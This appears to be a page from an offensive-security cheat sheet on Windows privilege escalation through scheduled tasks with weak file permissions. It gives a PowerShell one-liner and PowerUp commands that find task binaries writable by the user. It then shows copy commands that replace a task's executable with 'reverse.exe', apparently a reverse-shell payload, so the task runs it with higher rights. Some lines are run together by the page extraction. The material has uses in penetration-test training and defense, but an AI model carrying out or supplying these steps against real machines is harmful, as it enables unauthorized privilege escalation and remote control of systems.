Weak File/Folder Permissions
Theory
Practice
Task File Hijacking
LOLBAS
Get-ScheduledTask | ForEach-Object { $taskAction = $_.Actions.Execute; if ($taskAction -and (Test-Path $taskAction -ErrorAction SilentlyContinue)) { $taskName = $_.URI; $taskAction; Get-Acl -LiteralPath $taskAction -ErrorAction SilentlyContinue | Select-Object @{Name='TaskName';Expression={$taskName}}, AccessToString, Owner } }|fl# Check RunAs and Trigger
schtasks.exe /TN <TASK_NAME> /V /FO LISTPowerUp
. .\PowerUp.ps1
Get-ModifiableScheduledTaskFile# Backup the binary/script
copy /y "c:\Program Files\File Permissions Task\filepermservice.exe" c:\Temp\filepermservice_backup.exe
# Hijack the binary/script
copy /y c:\Temp\reverse.exe "c:\Program Files\File Permissions Task\filepermservice.exe"Task DLL Hijacking

Last updated